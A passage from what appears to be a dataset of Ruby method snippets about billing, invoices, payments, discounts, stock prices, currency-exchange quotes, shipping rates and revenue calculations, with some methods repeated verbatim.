end", "def income_val contract, month, incomes\n val = incomes.find { |m| m.contract_id == contract.id && m.month == month }&.income\n return [val, false] if val\n return [contract.linear_income, true] if contract.latest_progress_report && month > contract.latest_progress_report.date && month < contract.end_date\n\n nil\n end", "def actual_income\n outgoing_invoices.where(:status => \"deposited\").inject(0) do |mem, invoice|\n mem += invoice.amount\n end # inject invoice\n end", "def get_condition\n\t\toperator = self.get_operator\n\t\tformat_as = self.format_as\n\t\tarr = []\n\t\tif format_as == 'Month'\t\t\t\n\t\t\tif (self.comparison_operator == 5 && !self.predefined_range.nil?)\n\t\t\t\tget_predefined_conditions(arr)\n\t\t\telsif(self.comparison_operator == 5 && self.date_range == true)\n\t\t\t\tget_range_condition(arr)\n\t\t\telsif(self.comparison_operator == 5 && self.date_range == false)\n\t\t\t\tget_reference_condition(arr)\n\t\t\telse\n\t\t\t\tvalues = get_months_index(self.get_filter_values)\n\t\t\t\tarr << {\"fieldName\" => self.field_name, \"formatAs\" => format_as,\"dataType\" => \"string\",\n\t\t\t\t\t\t\"comparision\" => operator, \"value\" => values}\n\t\t\tend\n\t\telsif format_as == 'Month Year'\n\t\t\tif self.get_filter_values\n\t\t\t\tvals = []\n\t \t\t\tself.get_filter_values.each do |val|\n\t \t\t\t\tvalue = val.split(' ')\n\t \t\t\t\tvals << \"#{value[0]} \"+(\"%02d\" % Date::ABBR_MONTHNAMES.index(value[1]))\n\t \t\t\t\t# vals << \"#{value[0]} #{Date::ABBR_MONTHNAMES.index(value[1])}\"\t\t\t\t\n\t \t\t\tend\n \t\t\t\tvalues=vals\n \t\t\tend\n \t\t\tarr <<\n \t\t {\"fieldName\" => self.field_name, \"formatAs\" => format_as,\"dataType\" => \"string\",\n\t\t\t \"comparision\" => self.get_operator,\"value\" => (values || nil)}\t\n\t\telsif format_as == 'Quarter'\n \t\t\tarr <<\n \t\t {\"fieldName\" => self.field_name, \"formatAs\" => format_as,\"dataType\" => \"string\",\n\t\t\t \"comparision\" => self.get_operator,\"value\" => self.get_filter_values}\t\n\t\telse\n\t\t\tif (self.comparison_operator == 5 && !self.predefined_range.nil?)\n\t\t\t\tget_predefined_conditions(arr)\n\t\t\telsif(self.comparison_operator == 5 && self.date_range == true)\n\t\t\t\tget_range_condition(arr)\n\t\t\telsif(self.comparison_operator == 5 && self.date_range == false)\n\t\t\t\tget_reference_condition(arr)\n\t\t\telse\n\t\t\t\tvalues = self.field_values ? self.get_filter_values : nil\n\t\t\tarr << {\"fieldName\" => self.field_name, \"formatAs\" => format_as,\"dataType\" => \"string\",\n\t\t\t\"comparision\" => operator, \"value\" => values}\t\n\t\t\tend\n\t\tend\n\t\tarr\t\n\tend", "def borrower_paid_outside_closing\n purchase_credits.where(:name => 'BorrowerPaidOutsideClosing').first.value rescue nil\n end", "def build_stock_return_data\n open_values = []\n close_values = []\n\n @values.dig(:values).map do |_codes, _date, open, _high, _low, close|\n open_values.push [open]\n close_values.push [close]\n end\n\n @open = calculate_average(open_values)\n @close = calculate_average(close_values)\n @stock_return = stock_return_formula\n end", "def fixed_price\n data.fixed_price\n end", "def payment_price\n recurring_payments? ? (price / recurring_number) : price\n end", "def summary(args)\n summary_cache_key = args[:period].to_pretty_s\n thesummary = lookup_cached_summary(summary_cache_key)\n return thesummary if !thesummary.nil?\n \n mapping = Xbrlware::ValueMapping.new\n mapping.policy[:debit] = :flip\n\n thesummary = super(:period => args[:period], :mapping => mapping) # FIXME: flip_total should == true!\n if !lookup_cached_classifications(BASE_FILENAME, thesummary.rows)\n lookahead = [4, thesummary.rows.length-1].min\n classify_rows(ALL_STATES, NEXT_STATES, thesummary.rows, FinModeling::IncomeStatementItem, lookahead)\n save_cached_classifications(BASE_FILENAME, thesummary.rows)\n end\n\n save_cached_summary(summary_cache_key, thesummary)\n\n return thesummary\n end", "def price\n closing_price = StockQuote::Stock.quote(ticker).close\n return \"#{closing_price} (Closing)\" if closing_price\n \n opening_price = StockQuote::Stock.quote(ticker).open\n return \"#{opening_price} (Opening)\" if opening_price\n 'Unavailable' #retrun unavailable to neither closing price or opending price is available\n end", "def trend\n if new_sub?\n \"none\"\n elsif avg_fee == operations.last.amount_cents\n \"flat_fee\"\n elsif operations.last.amount_cents > operations[-2].amount_cents\n \"arrow_up\"\n else\n \"arrow_down\"\n end\n end", "def financials_reported_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.financials_reported ...'\n end\n # resource path\n local_var_path = '/stock/financials-reported'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'symbol'] = opts[:'symbol'] if !opts[:'symbol'].nil?\n query_params[:'cik'] = opts[:'cik'] if !opts[:'cik'].nil?\n query_params[:'accessNumber'] = opts[:'access_number'] if !opts[:'access_number'].nil?\n query_params[:'freq'] = opts[:'freq'] if !opts[:'freq'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'FinancialsAsReported' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#financials_reported\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def pendings_search(current_projects, no, bill_no, project, c, s, street_name, bank_account, period, user, biller, issue_date, payday_limit)\n Bill.search do\n with(:invoice_status_id, 0..98)\n if !current_projects.blank?\n with :project_id, current_projects\n end\n\n # By invoice_no\n if !no.blank?\n if no.class == Array\n with(:invoice_ids, no)\n else\n with(:invoice_no).starting_with(no)\n end\n end\n # By raw invoice No\n # if !no.blank?\n # if no.class == Array\n # with :raw_invoice_no, no\n # else\n # with(:raw_invoice_no).starting_with(no)\n # end\n # end\n\n # By bill_no\n if !bill_no.blank?\n if bill_no.class == Array\n with :bill_no, bill_no\n else\n with(:bill_no).starting_with(bill_no)\n end\n end\n # By raw bill No\n # if !bill_no.blank?\n # if bill_no.class == Array\n # with :raw_bill_no, bill_no\n # else\n # with(:raw_bill_no).starting_with(bill_no)\n # end\n # end\n\n # by project\n if !project.blank?\n with :project_id, project\n end\n # Client\n # if !client.blank?\n # if client.class == Array\n # with :client_code_name_fiscal, client\n # else\n # with(:client_code_name_fiscal).starting_with(client)\n # end\n # end\n # if !c.empty?\n # with :client_ids, c\n # end\n if !c.blank?\n with :client_id, c\n end\n # Subscriber\n # if !subscriber.blank?\n # if subscriber.class == Array\n # with :subscriber_code_name_fiscal, subscriber\n # else\n # with(:subscriber_code_name_fiscal).starting_with(subscriber)\n # end\n # end\n # if !s.empty?\n # with :subscriber_ids, s\n # end\n if !s.blank?\n with :subscriber_id, s\n end\n # Supply address\n if !street_name.blank?\n if street_name.class == Array\n with :supply_address, street_name\n else\n with(:supply_address).starting_with(street_name)\n end\n end\n # if !street_name.blank?\n # with :supply_address, street_name\n # end\n # if !street_name.blank?\n # with :subscriber_id, street_name\n # end\n # Have active bank account?\n if (bank_account == true || bank_account == false)\n with :bank_account, bank_account\n end\n # Billing period\n if !period.blank?\n with :billing_period_id, period\n end\n # Created by (user)\n if !user.blank?\n with :created_by, user\n end\n # Biller\n if !biller.blank?\n with :biller_ids, biller\n end\n # Bill date\n if !issue_date.blank?\n with :bill_date, issue_date\n end\n # Payday limit\n if !payday_limit.blank?\n with :payday_limit, payday_limit\n end\n data_accessor_for(Bill).include = [{client: :client_bank_accounts}, :subscriber, :invoice_status, :payment_method, {invoices: [:invoice_type, :invoice_operation, {invoice_items: :tax_type}]}, :instalments]\n # field_list :id, :bill_no\n order_by :sort_no, :asc\n paginate :page => params[:bills_pending_page] || 1, :per_page => 10\n end\n end", "def sale_message\n if price && price < 2\n 'Discount Item!'\n else\n 'Everyday Value!'\n end\n end", "def discount_bill(key,value,v)\n puts v\n\n quotient=value/v['disc_item'].to_f\n tot1=quotient*v['disc_price'].to_f\n\n remainder=value/v[\"disc_item\"].to_f\n tot2=remainder*v[\"unit_price\"].to_f\n\n @discount_total=tot1+tot2\n\n display_result(key,value,@discount_total)\n end", "def get_price(product, _amount)\n product_price = product_list[product].price\n price = if eval(product_list[product].condition)\n eval(product_list[product].price_formula_true)\n else\n eval(product_list[product].price_formula_false)\n end\n price.round(2)\n end", "def get_payment_message\n final_price =self.subscription.plan_price.to_f\n coupon_found = self.orders.where(state: 'paused').first.coupon.present?\n payment_message = \"You will be charged $#{final_price}/month for this subscription.\"\n payment_message = self.coupon.price_with_coupon(final_price) if coupon_found\n payment_message\n end", "def payment_price_tax\n\t\t\t\t\treturn nil\n\t\t\t\tend", "def insurance_fee\n (COMMISSION_RATE * INSURANCE_PART_RATE * price).round\n end", "def my_bal (bal, currency)\n begin\n return my_f bal[currency]\n rescue Exception => e\n return 0.0\n end\nend", "def last_payment_detail\n\n\t\tbl = BillingLog.where.not(transaction_type_id: TransactionType.find_by_name(\"Transferencia Formulario\").id).where(:company_id => self.id).where('trx_id in (?) or trx_id in (?)', PuntoPagosConfirmation.where(:response => \"00\").pluck(:trx_id), PayUNotification.where(:state_pol => \"4\").pluck(:reference_sale)).order('created_at desc').first\n\t\trec = BillingRecord.where(:company_id => self.id).order('date desc').first\n\t\tbwt = BillingWireTransfer.where(:company_id => self.id, :approved => true).order('payment_date desc').first\n\t\tpl = PlanLog.where(:company_id => self.id).where('trx_id in (?) or trx_id in (?)', PuntoPagosConfirmation.where(:response => \"00\").pluck(:trx_id), PayUNotification.where(:state_pol => \"4\").pluck(:reference_sale)).order('created_at desc').first\n\n\t\tlast_payment_date = \"\"\n\t\tpaid_amount = \"0\"\n\t\tlast_payment_method = \"\"\n\n\t\tif bl.nil? && rec.nil? && bwt.nil? && pl.nil?\n\n\t\t\tlast_payment_date = \"No existen pagos\"\n\t\t\tresponse_array = []\n\t\t\tresponse_array[0] = last_payment_date\n\t\t\tresponse_array[1] = paid_amount\n\t\t\tresponse_array[2] = last_payment_method\n\n\t\t\treturn response_array\n\n\t\telse\n\n\t\t\tdate1 = Time.at(0).to_datetime\n\t\t\tdate2 = date1\n\t\t\tdate3 = date1\n\t\t\tdate4 = date1\n\n\t\tend\n\n\t\tif !bl.nil?\n\t\t date1 = bl.created_at + self.country.timezone_offset.hours\n\t\tend\n\t\tif !rec.nil?\n\t\t date2 = rec.date.to_datetime\n\t\tend\n\t\tif !bwt.nil?\n\t\t date3 = bwt.payment_date\n\t\tend\n\t\tif !pl.nil?\n\t\t date4 = pl.created_at + self.country.timezone_offset.hours\n\t\tend\n\n\t\tif date1 >= date2 && date1 >= date3 && date1 >= date4\n\t\t last_payment_date = (bl.created_at + self.country.timezone_offset.hours).strftime('%d/%m/%Y %R')\n\t\t paid_amount = \"$\" + bl.payment.to_s\n\t\t last_payment_method = \"Automático\"\n\t\telsif date2 >= date1 && date2 >= date3 && date2 >= date4\n\t\t last_payment_date = rec.date.strftime('%d/%m/%Y %R')\n\t\t paid_amount = \"$\" + rec.amount.to_s\n\t\t last_payment_method = \"Manual - \" + (rec.transaction_type ? rec.transaction_type.name : \"No definido\")\n\t\telsif date3 >= date1 && date3 >= date2 && date3 >= date4\n\t\t last_payment_date = bwt.payment_date.strftime('%d/%m/%Y %R')\n\t\t paid_amount = \"$\" + bwt.amount.to_s\n\t\t last_payment_method = \"Transferencia\"\n\t\telse\n\t\t last_payment_date = (pl.created_at + self.country.timezone_offset.hours).strftime('%d/%m/%Y %R')\n\t\t paid_amount = \"$\" + pl.amount.to_s\n\t\t last_payment_method = \"Automático\"\n\t\tend\n\n\t\tresponse_array = []\n\t\tresponse_array[0] = last_payment_date\n\t\tresponse_array[1] = paid_amount\n\t\tresponse_array[2] = last_payment_method\n\n\t\treturn response_array\n\n\tend", "def nonprofit\n end", "def conveyance_values\n wizard_step(:returns_lbtt_summary) do\n { cache_index: LbttController, after_merge: :update_tax_calculations }\n end\n end", "def amount\n case mode\n when 'set', 'fixed' then money\n when 'percentage' then percentage\n end\n end", "def payments_report(period_data = 'last_month')\n res = payments.completed\n range, daily_report = period_data.to_s.report_period_to_range\n data = [[period_data.to_s.report_period_to_title, 'Tithe', 'Pledge', 'Partner', 'Donation', 'Offertory', 'Payment']]\n range.each do |d| \n r = d.beginning_of_day..(daily_report ? d.end_of_day : d.end_of_month.end_of_day)\n data << [d.strftime(daily_report ? '%d' : '%Y-%m'), \n res.where(payment_at: r, goal: 'tithe').sum(:amount).to_f,\n res.where(payment_at: r, goal: 'pledge').sum(:amount).to_f,\n res.where(payment_at: r, goal: 'partner').sum(:amount).to_f,\n res.where(payment_at: r, goal: 'donation').sum(:amount).to_f,\n res.where(payment_at: r, goal: 'offertory').sum(:amount).to_f,\n res.where(payment_at: r, goal: nil).sum(:amount).to_f\n ]\n end\n data\n end", "def get_ptc_value_exact_date(date, value)\n invoices = Invoice.where([\"invoices.return = '0' AND company_id = ? AND date_processed >= ? AND date_processed <= ?\", self.id, \"#{date} 00:00:00\", \"#{date} 23:59:59\"])\n ret = 0\n \n for invoice in invoices\n products = invoice.get_products\n \n for product in products\n if(value == \"profit\")\n ret += product.profit * product.curr_quantity\n elsif(value == \"tax\")\n ret += product.tax * product.curr_quantity\n elsif(value == \"price\")\n ret += product.price * product.curr_quantity\n elsif(value == \"total\")\n ret += (product.price + product.tax) * product.curr_quantity\n else\n ret += product.cost * product.curr_quantity\n end\n end\n end\n \n return ret\n end", "def get_ptc_value_exact_date(date, value)\n invoices = Invoice.where([\"invoices.return = '0' AND company_id = ? AND date_processed >= ? AND date_processed <= ?\", self.id, \"#{date} 00:00:00\", \"#{date} 23:59:59\"])\n ret = 0\n \n for invoice in invoices\n products = invoice.get_products\n \n for product in products\n if(value == \"profit\")\n ret += product.profit * product.curr_quantity\n elsif(value == \"tax\")\n ret += product.tax * product.curr_quantity\n elsif(value == \"price\")\n ret += product.price * product.curr_quantity\n elsif(value == \"total\")\n ret += (product.price + product.tax) * product.curr_quantity\n else\n ret += product.cost * product.curr_quantity\n end\n end\n end\n \n return ret\n end", "def investment\n if buy_price\n num_of_shares * buy_price\n end\n end", "def get_ptc_value_date(date, value)\n date_arr = date.split(\"-\")\n year = date_arr[0]\n month = date_arr[1]\n \n invoices = Invoice.where([\"invoices.return = '0' AND company_id = ? AND date_processed >= ? AND date_processed <= ?\", self.id, \"#{year}-#{month}-01 00:00:00\", \"#{year}-#{month}-31 23:59:59\"])\n ret = 0\n \n for invoice in invoices\n products = invoice.get_products\n \n for product in products\n if(value == \"profit\")\n ret += product.profit * product.curr_quantity\n elsif(value == \"tax\")\n ret += product.tax * product.curr_quantity\n elsif(value == \"price\")\n ret += product.price * product.curr_quantity\n elsif(value == \"total\")\n ret += (product.price + product.tax) * product.curr_quantity\n else\n ret += product.cost * product.curr_quantity\n end\n end\n end\n \n return ret\n end", "def get_ptc_value_date(date, value)\n date_arr = date.split(\"-\")\n year = date_arr[0]\n month = date_arr[1]\n \n invoices = Invoice.where([\"invoices.return = '0' AND company_id = ? AND date_processed >= ? AND date_processed <= ?\", self.id, \"#{year}-#{month}-01 00:00:00\", \"#{year}-#{month}-31 23:59:59\"])\n ret = 0\n \n for invoice in invoices\n products = invoice.get_products\n \n for product in products\n if(value == \"profit\")\n ret += product.profit * product.curr_quantity\n elsif(value == \"tax\")\n ret += product.tax * product.curr_quantity\n elsif(value == \"price\")\n ret += product.price * product.curr_quantity\n elsif(value == \"total\")\n ret += (product.price + product.tax) * product.curr_quantity\n else\n ret += product.cost * product.curr_quantity\n end\n end\n end\n \n return ret\n end", "def get_ptc_value_date(date, value)\n date_arr = date.split(\"-\")\n year = date_arr[0]\n month = date_arr[1]\n \n invoices = Invoice.where([\"invoices.return = '0' AND company_id = ? AND date_processed >= ? AND date_processed <= ?\", self.id, \"#{year}-#{month}-01 00:00:00\", \"#{year}-#{month}-31 23:59:59\"])\n ret = 0\n \n for invoice in invoices\n products = invoice.get_products\n \n for product in products\n if(value == \"profit\")\n ret += product.profit * product.curr_quantity\n elsif(value == \"tax\")\n ret += product.tax * product.curr_quantity\n elsif(value == \"price\")\n ret += product.price * product.curr_quantity\n elsif(value == \"total\")\n ret += (product.price + product.tax) * product.curr_quantity\n else\n ret += product.cost * product.curr_quantity\n end\n end\n end\n \n return ret\n end", "def get_shipping_amount_for_quotation\n doc = Hpricot::XML(request.raw_post)\n doc = doc.to_s.gsub(\"&amp;\",\"&\")\n doc = Hpricot::XML(doc)\n shipping_code = parse_xml(doc/:params/'shipping_code')\n if shipping_code == 'UPS'\n response_doc,text = Quotation::SalesQuotationCrud.get_ups_shipping_methods(doc)\n if text == 'error'\n render :xml=>\"<errors><error>#{response_doc}</error></errors>\"\n else\n @ups_shipping_methods = Hpricot::XML(response_doc)\n response_status_code = parse_xml(@ups_shipping_methods/:RatingServiceSelectionResponse/:Response/'ResponseStatusCode') if parse_xml(@ups_shipping_methods/:RatingServiceSelectionResponse/:Response/'ResponseStatusCode').first\n rate = parse_xml(@ups_shipping_methods/:RatingServiceSelectionResponse/:RatedShipment/'NegotiatedRates')\n if rate.blank?\n render :xml=>\"<errors><error>Negotiated Rates not found. Please Contact System Administrator.</error></errors>\"\n elsif(response_status_code.to_i == 1)\n respond_to_action('get_shipping_methods')\n else\n render :xml=>\"<errors><error>UPS API ERROR FOUND. Please Contact System Administrator.</error></errors>\"\n end\n end\n elsif shipping_code == 'FEDEX'\n @estimated_ship_date = Time.now.to_date\n @fedex_shipping_methods,text = Quotation::SalesQuotationCrud.get_fedex_shipping_methods(doc)\n if text == 'error'\n render :xml=>\"<errors><error>#{@fedex_shipping_methods}.</error></errors>\"\n else\n respond_to_action('get_shipping_methods')\n end\n elsif shipping_code == 'USPS'\n @usps_shipping_methods,@usps_method_rates,@inhand_dates,text = Quotation::SalesQuotationCrud.get_usps_shipping_methods(doc)\n if text == 'error'\n render :xml=>\"<errors><error>#{@inhand_dates}.</error></errors>\"\n else\n respond_to_action('get_shipping_methods')\n end\n else\n render :xml=>\"<errors><error>No Methods Available For #{shipping_code}</error></errors>\"\n end\n end", "def completion_status\n returnValue = {status: '' , percentage: 0.0}\n #status\n if self.target_amount and self.total_amount\n twenty_five = self.target_amount*0.25\n fifty = self.target_amount*0.5\n seventy_five = self.target_amount*0.75\n if self.total_amount.to_s.to_i > seventy_five\n returnValue[:percentage] = 0.75\n returnValue[:status] = \"Project is almost funded! (Over 75% funded)\"\n elsif self.total_amount.to_s.to_i > fifty\n returnValue[:percentage] = 0.50\n returnValue[:status] = \"Project is half way there! (Over 50% funded)\"\n elsif self.total_amount.to_s.to_i >= twenty_five\n returnValue[:percentage] = 0.25\n returnValue[:status] = \"Project is starting to shape up! (Over 25% funded)\"\n elsif self.total_amount.to_s.to_i < twenty_five\n returnValue[:percentage] = 0.01\n returnValue[:status] = \"Project has got its first donation! (0-25% funded)\"\n else\n returnValue[:percentage] = 0.0\n returnValue[:status] = \"Project has no funding!\"\n end\n returnValue\n else\n nil\n end\n\n end", "def analyze(_evidence, _current)\n {\n # Your return has to go here. This reformats the hashed return into\n # chief understands. Remember the output must corrospond to one of the\n # values in the database structure.\n # Typically This would be in the form.\n\n # blank_status:\n # {\n # value: 'Met', # or Unmet\n # confidence: 3, # or what ever you think it should be.\n # explanation: \"My Text to appear in the evidence field\"\n # }\n }\n end", "def revenue\n##ONLY ONE I NEED TO WORK ON!!!!\n\n end", "def SPI\n\n #byebug\n if self.estimated_hours>0 and !self.start_date.nil? and !self.due_date.nil?\n hoxe_dias=(Date.parse(Time.now.to_s) - self.start_date).to_f\n total_dias=(self.due_date-self.start_date).to_f\n earned_value= (completed_percent * estimated_hours)/100 # Podria ser tambien las spent_hours\n planned_value=(hoxe_dias/total_dias)*estimated_hours\n return (earned_value/planned_value)\n else\n return 0\n end\n\n rescue\n return 0\n\n end", "def pay_status_paypal\n\n end", "def create_invoice\n invoice_data = {\n payplan_id: self.payplan.id, \n payertype: \"fiz\", \n paymenttype: \"creditcard\", \n service_handle: self.payplan.service_handle \n }\n if self.status\n if self.payplan_id == Payplan.favorite_free_id\n invoice = Invoice.create(invoice_data.merge!(status: \"Оплачен\"))\n payment = invoice.get_payment.update(paymentdate: Date.today, status: \"Оплачен\")\n else\n invoice = Invoice.create(invoice_data)\n end\n end\nend", "def get_discounted_value bill\n # this function needs to be called only once to initialize rules\n return 0 if bill.nil?\n bill_amount = bill.amount\n if discount = validate_discount(bill)\n if discount.operation.eql? \"x\"\n bill_amount = bill_amount * (1 - discount.value * 0.01)\n elsif discount.operation.eql? \"/\"\n bill_amount = bill_amount - (bill_amount/discount.value).floor\n elsif discount.operation.eql? \"-\"\n bill_amount = bill_amount - discount.value\n end\n end\n return bill_amount < 0 ? 0 : bill_amount\n end", "def price\n \t\t@required = [:zip, :country, :sender_zip, :weight]\n \t\t\n @insured_value ||= 0\n @country ||= 'US'\n @sender_country ||= 'US'\n @transaction_type ||= 'GND' # default to UPS ground\n \n \t\t@data = \"AppVersion=1.2&AcceptUPSLicenseAgreement=yes&ResponseType=application/x-ups-rss&ActionCode=3&RateChart=Customer+Counter&DCISInd=0&SNDestinationInd1=0&SNDestinationInd2=0&ResidentialInd=$r&PackagingType=00&ServiceLevelCode=#{@transaction_type}&ShipperPostalCode=#{@sender_zip}&ShipperCountry=#{@sender_country}&ConsigneePostalCode=#{@zip}&ConsigneeCountry=#{@country}&PackageActualWeight=#{@weight}&DeclaredValueInsurance=#{@insured_value}\"\n\n \t\tget_response \"http://www.ups.com/using/services/rave/qcost_dss.cgi\"\n \t\t\n \t\tprice = @response.split(\"%\")\n \t\tprice = price[price.size-2]\n \t\t\n \t\treturn price.to_f\n \tend", "def get_data(currency_type)\n # Will be overriden on Currency subclasses\n end", "def calculate_bookingcom_single_rate(rate)\n if self.bookingcom_single_rate_discount.blank? or self.bookingcom_single_rate_discount == 0\n rate\n else\n rate * (1 - (self.bookingcom_single_rate_discount / 100))\n end\n end", "def get_discount\n if @discount\n @discount.amountOff ? '$'+ @discount.amountOff.to_s : @discount.percentOff.to_s + '%'\n else\n 'N/A'\n end\n end", "def payment_instruction\n end", "def event_tickets_sold_data(period_data = 'this_month')\n res = event_payments\n range, daily_report = period_data.to_s.report_period_to_range\n data = [[period_data.to_s.report_period_to_title, I18n.t('number.currency.format.unit')]]\n range.each{|d| data << [d.strftime(daily_report ? '%d' : '%Y-%m'), res.where(payment_at: d.beginning_of_day..(daily_report ? d.end_of_day : d.end_of_month.end_of_day)).sum(:amount).to_f] }\n data\n end", "def quote(params)\n\n result = {\n search_id: search_id = params[:search_id],\n pay_amount: pay_amount = Monetize.parse(params[:pay_amount]).amount,\n pay_currency: pay_currency = params[:pay_currency],\n get_amount: get_amount = Monetize.parse(params[:get_amount]).amount,\n get_currency: get_currency = params[:get_currency],\n trans: trans = params[:trans],\n calculated: calculated = params[:calculated],\n rates: {},\n bad_rates: {},\n quote: nil,\n quote_currency: nil,\n edited_quote: nil,\n edited_quote_rounded: nil,\n bad_amount: nil,\n gain: 0,\n gain_amount: gain_amount = 0,\n gain_currency: gain_currency = nil,\n real_rates: has_real_rates?,\n rounded: false,\n pay_rounded: params[:pay_amount].to_money(pay_currency).format,\n get_rounded: params[:get_amount].to_money(get_currency).format,\n base_rate: nil,\n errors: []\n }\n\n if currency.nil?\n result[:errors] << 'No local currency defined for that exchange'\n return result\n end\n if pay_currency == get_currency\n result[:errors] << 'Please select two different currencies'\n return result\n end\n if !self.country\n result[:errors] << 'Exchange has no country'\n return result\n else\n country = self.country\n end\n\n if calculated == 'buy_amount'\n\n rates = result[:rates] = rate(get_currency, pay_currency, trans, pay_currency, search_id)\n\n if rates[:error]\n result[:errors] << rates[:error]\n return result\n end\n\n if rates[trans.to_sym] == 0\n result[:errors] << trans + \" rate needed but empty - cannot quote\"\n return result\n end\n\n # quote: net of charges. get_amount: including charges.\n result[:quote] = pay_amount * rates[trans.to_sym]\n result[:edited_quote] = result[:edited_quote_rounded] = result[:quote].to_money(get_currency).format\n result[:quote_currency] = get_currency\n\n get_amount = result[:quote]\n result[:get_amount] = result[:get_rounded] = get_amount.to_money(get_currency).format\n\n bad_rates = result[:bad_rates] = Exchange.bad_rate(country,get_currency, pay_currency, trans, pay_currency, search_id)\n bank_fee = bad_rates[:bank_fee] || 0\n bad_amount_before_fees = (pay_amount * (bad_rates[trans.to_sym] || 0))\n bad_amount = bad_amount_before_fees * (100 - bank_fee) / 100.0\n\n result[:bad_amount] = bad_amount.to_money(get_currency).format\n result[:gain] = bad_amount != 0 ? result[:quote] - bad_amount : result[:quote] # the latter is to enable just grade sorting when bad rate isn't there\n result[:gain_amount] = result[:gain].to_money(get_currency).format\n result[:gain_type] = result[:gain] < 0 ? 'your gain' : 'your gain'\n result[:gain_short] = result[:gain] < 0 ? 'gain' : 'gain'\n result[:gain_currency] = get_currency\n\n result[:pay_amount] = pay_amount.to_money(pay_currency).format\n\n if get_currency != currency and (get_subtract = get_amount.modulo(1)) > 0\n result[:rounded] = true\n pay_subtract = get_subtract / rates[trans.to_sym]\n result[:pay_rounded] = (pay_amount - pay_subtract).to_money(pay_currency).format\n result[:get_rounded] = (get_amount - get_subtract).to_money(get_currency).format\n result[:edited_quote_rounded] = result[:get_rounded]\n end\n\n result[:base_rate] = Exchange.edit_base_rate(rates, trans)\n\n else\n\n rates = result[:rates] = rate(pay_currency, get_currency, trans, pay_currency, search_id)\n if rates[:error]\n result[:errors] << rates[:error]\n return result\n end\n if rates[trans.to_sym] == 0\n result[:errors] << trans + \" rate needed but empty - cannot quote\"\n return result\n end\n\n # quote: net of charges. pay_amount: including charges.\n result[:quote] = get_amount * rates[trans.to_sym]\n result[:edited_quote] = result[:edited_quote_rounded] = result[:quote].to_money(pay_currency).format\n result[:quote_currency] = pay_currency\n\n pay_amount = result[:quote]\n result[:pay_amount] = result[:pay_rounded] = pay_amount.to_money(pay_currency).format\n\n bad_rates = result[:bad_rates] = Exchange.bad_rate(country, pay_currency, get_currency, trans, pay_currency, search_id)\n bank_fee = bad_rates[:bank_fee] || 0\n bad_amount_before_fees = (get_amount * (bad_rates[trans.to_sym] || 0))\n bad_amount = bad_amount_before_fees * (100 + bank_fee) / 100.0\n result[:bad_amount] = bad_amount.to_money(pay_currency).format\n result[:gain] = bad_amount != 0 ? bad_amount - result[:quote] : result[:quote] * -1 # the latter is to enable just grade sorting when bad rate isn't there\n result[:gain_amount] = result[:gain].to_money(pay_currency).format\n\n result[:gain_currency] = pay_currency\n result[:gain_type] = result[:gain] < 0 ? 'you save' : 'you save'\n result[:gain_short] = result[:gain] < 0 ? 'save' : 'save'\n result[:get_amount] = get_amount.to_money(get_currency).format\n\n if get_currency == currency and pay_currency != currency and (pay_subtract = pay_amount.modulo(1)) > 0\n result[:rounded] = true\n get_subtract = pay_subtract / rates[trans.to_sym]\n result[:get_rounded] = (get_amount - get_subtract).to_money(get_currency).format\n result[:pay_rounded] = (pay_amount - pay_subtract).to_money(pay_currency).format\n result[:edited_quote_rounded] = result[:pay_rounded]\n end\n\n result[:base_rate] = Exchange.edit_base_rate(rates, trans)\n\n end\n\n return result\n\n end", "def loan_calc(loan_amount,interest_rate,loan_term,loan_type)\n if loan_type.downcase == \"pi\"\n r = interest_rate/12\n n = loan_term*12\n d = ( ( ( (1+r)**n) - 1) / (r*(1+r)**n))\n result = loan_amount/d\n\n elsif loan_type.downcase == \"io\"\n r = interest_rate/12\n result = loan_amount * r\n end #end if\nend", "def payment_net\r\n return deposit if (payment_mode =~ /deposit/)\r\n return total if (payment_mode =~ /balance/)\r\n raise \"Bad payment mode #{payment_mode}\"\r\n end", "def revenue_and_profit(cust_id, start_date = nil, end_date = nil)\n\n start_date = Date.parse('0000-01-01') if (start_date.nil?)\n end_date = Date.parse('3000-01-01') if (end_date.nil?)\n\n order_data = CustomerOrder.find_by_sql(\"SELECT SUM(price) AS total,\n COUNT(1) AS copies,\n COUNT(DISTINCT(orders.orderID)) AS orders\n FROM orders, lineItem\n WHERE orders.customer_id = #{cust_id}\n AND orders.orderID = lineItem.orderID\n AND lineItem.live = 1\n AND orderDate >= '#{start_date.to_s}'\n AND orderDate <= '#{end_date.to_s}'\")[0]\n\n revenue = order_data.total.to_f\n copies = order_data.copies.to_f\n orders = order_data.orders.to_f\n\n costs = 0.0\n\n ##############################################\n # Processing costs, as percent of total inflow\n ##############################################\n\n # 2.19% credit card processing fees\n processing_fee_perc = 0.0219\n\n costs += revenue * processing_fee_perc\n\n #################\n # Per order costs\n #################\n\n # $0.49 per-transaction credit card processing fee\n processing_fee_flat = 0.49\n\n costs += orders * processing_fee_flat\n\n ###############\n # Per DVD costs\n ###############\n\n # $1.50 / DVD depreciation\n depreciation = 1.50\n\n # $0.50 / DVD shipping labor\n shipping_labor = 0.50\n\n costs += copies * (depreciation + shipping_labor)\n\n ####################\n # Per shipment costs\n ####################\n\n # $0.04 outgoing label (label and laser)\n outgoing_label = 0.04\n\n # $0.05 return label\n return_label = 0.05\n\n # $0.06 instructions\n instructions = 0.06\n\n # $0.11 adhesive tabs\n adhesive_tabs = 0.11\n\n # $0.13 postage machine rental and ink\n postage_machine = 0.13\n\n # Mail shipping rates, based on number of DVDs\n shipping_rates = { 1 => 0.87, 2 => 0.87, 3 => 1.11, 4 => 1.35, 5 => 1.83,\n 6 => 2.07, 7 => 2.31, 8 => 2.31, 9 => 2.55, 10 => 2.79 }\n\n # Shipping containers, based on number of DVDs\n 